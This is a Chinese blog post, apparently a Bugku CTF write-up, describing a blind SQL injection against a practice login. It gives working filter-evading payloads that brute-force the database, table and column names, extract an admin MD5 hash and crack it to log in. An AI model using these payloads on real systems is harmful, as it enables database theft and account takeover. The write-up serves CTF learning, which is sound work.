sql注入-bugku题目解答记录(一)连接:https://blog.csdn.net/AQAlie/article/details/161287963?spm=1001.2014.3001.5501
继续爆库名
刚想通爆库名的语句,准备实操一下
substr(reverse(substr((database())from(a)))from(7))>97#
不对!犯了个小错误,没有把取出的字符进行ascii转换,再加一层:
a'or(ascii(substr(reverse(substr((database())from(1)))from(8)))>97)#
![]()
前两个参数设置为从1到8,两者的和需要为9,最后一个从97到130,爆破后会发现有很多满足的,挑选其中前两个参数和为9的,最终得到ascii码为:98,108,105,110,100,115,113,108
转换后得到库名为:blindsql
下一步,爆表名!!!
爆表名(以及字段名)
常规爆表名语句:
ascii(substr((select table_name from information_schema.tables where table_schema='blindsql' limit 0,1),n,1))=m
但很多字符被过滤掉了,这里尝试进行修改,先改好改的:
ascii(
substr(
(select(table_name)from(information_schema.tables)where(table_schema='blindsql')from(1))
from(1))
)
>m
但还是没法用的,因为等号和information也被过滤了
lz水平受限,手足无措了。查看网上其他大佬的方法,都不约而同的选择了爆破表名!
还真是力大砖飞啊
通过语句
a'or(SELECT($xx$)FROM(blindsql.$xx$))#
直接爆表名和字段名(我的天,采用急速炸弹方式的话,字典数量一大,爆破次数不敢想)
这里自己先去整理了一个表名和字段名的字典准备爆破,结果如下

得到表名为admin,字段分别为id和password,接着获取password中的数据
爆数据
先判断password的长度
a'or(length((select(password)from(admin))))>$1$#
爆破结果:

可知长度为32,接着继续爆破元素名。这里可以采用与爆破数据库名一样的方法
a'or(ascii(substr(reverse(substr((select(password)from(admin))from(1)))from(32)))>47)#
#即:
a'or(
ascii(
substr(
reverse(
substr(
(select(password)
from(admin))
from(1))
)from(32))
)
>47)#
第一个from和第二个from的值和为32+1=33,大于范围为47-130
数量太大了,lz用的虚拟机跑bp爆破被卡死了一次,于是分成了三次跑,最终得到password值为:
4dcc88f8f1bc05e7c2ad1a60288481a2
放进随波逐流解码!!
居然解码失败,尝试网上在线解密,发现类型为MD5加密,解密得到明文为:
bugkuctf
尝试账号admin密码bugkuctf登录

得解!!
真不容易
提交,flag正确(终于!!)
其他
1.bp爆破模块中其实是能够对结果进行筛选的,在Filter中输入查找信息即可进行筛选
2.会写python脚本还是很有必要的。观摩其他大佬都是拿python脚本进行爆破的,lz没有学过python,使用起来还是很吃力的,bp爆破数量一大还是太容易崩了。还需要补一补python,任重道远
&spm=1001.2101.3001.5002&articleId=161293340&d=1&t=3&u=be4318facd334a03ae9c68474a14f467)
2324

被折叠的 条评论
为什么被折叠?



